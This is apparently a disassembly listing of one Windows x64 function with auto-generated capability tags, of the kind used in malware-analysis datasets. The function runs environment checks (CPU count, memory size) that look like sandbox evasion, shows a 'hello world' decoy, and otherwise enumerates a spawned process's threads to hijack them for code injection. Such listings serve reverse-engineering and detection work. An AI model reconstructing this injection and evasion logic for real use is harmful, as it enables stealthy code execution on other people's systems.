Function at 0x1400019e0
Capabilities:
Enumerate threads
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r15d, 1
mov dword [rbp - 0x79], r15d
call fcn.1400011e0
mov rax, qword [0x1400078c8]
cmp byte [rax + 2], r15b
je 0x140001cc0
lea rcx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x19], 2
jbe 0x140001cc0
lea rcx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, 0x80000000
cmp qword [rbp - 1], rax
jbe 0x140001cc0
call fcn.1400013d0
mov r12, rax
test rax, rax
jne 0x140001a95
lea rdx, str.failed_to_create_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001de0
mov rcx, rax
lea rdx, [0x140001fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001cd3
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r14d, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x51], xmm1
xor esi, esi
mov qword [rbp - 0x41], rsi
mov dword [rbp - 0x79], r15d
mov dword [rbp - 0x39], 0x1c
xor edx, edx
lea ecx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001ad7
mov rdi, qword [rbp - 0x49]
jmp 0x140001b55
lea rdx, [rbp - 0x39]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32First]
mov rdi, qword [rbp - 0x49]
test eax, eax
je 0x140001b4b
nop dword [rax]
cmp dword [rbp - 0x2d], r14d
jne 0x140001b3a
mov r8d, dword [rbp - 0x31]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp - 0x71], rax
test rax, rax
je 0x140001b3a
cmp rdi, rsi
je 0x140001b22
mov qword [rdi], rax
add rdi, 8
mov qword [rbp - 0x49], rdi
jmp 0x140001b3a
lea r8, [rbp - 0x71]
mov rdx, rdi
lea rcx, [rbp - 0x51]
call fcn.140002010
mov rsi, qword [rbp - 0x41]
mov rdi, qword [rbp - 0x49]
lea rdx, [rbp - 0x39]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001af0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r14, qword [rbp - 0x51]
cmp r14, rdi
jne 0x140001b8f
lea rdx, str.no_threads_found_for_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001de0
mov rcx, rax
lea rdx, [0x140001fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001c7f
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x69], xmm0
mov qword [rbp - 0x59], 0
sub rdi, r14
mov rbx, rdi
sar rbx, 3
test rbx, rbx
je 0x140001c37
movabs rax, 0x1fffffffffffffff
cmp rbx, rax
ja 0x140001d09
lea rbx, [rbx*8]
cmp rbx, 0x1000
jb 0x140001c05
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001d03
call fcn.1400021d0
mov rcx, rax
test rax, rax
je 0x140001bfe
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001c16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rbx, rbx
je 0x140001c14
mov rcx, rbx
call fcn.1400021d0
jmp 0x140001c16
xor eax, eax
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
add rbx, rax
mov qword [rbp - 0x59], rbx
mov r8, rdi
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x61], rbx
lea rdx, [rbp - 0x69]
mov rcx, r12
call fcn.140001760
test eax, eax
je 0x140001c6c
lea rdx, str.failed_to_hijack_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001de0
mov rcx, rax
lea rdx, [0x140001fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001c7f
call fcn.1400013d0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor r15d, r15d
test r14, r14
je 0x140001cd3
sub rsi, r14
and rsi, 0xfffffffffffffff8
mov rax, r14
cmp rsi, 0x1000
jb 0x140001cb3
add rsi, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, r14
call fcn.14000220c
jmp 0x140001cd3
lea rdx, str.hello_world
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001de0
mov eax, r15d
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400021b0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001120
nop
call fcn.140001ff0
int3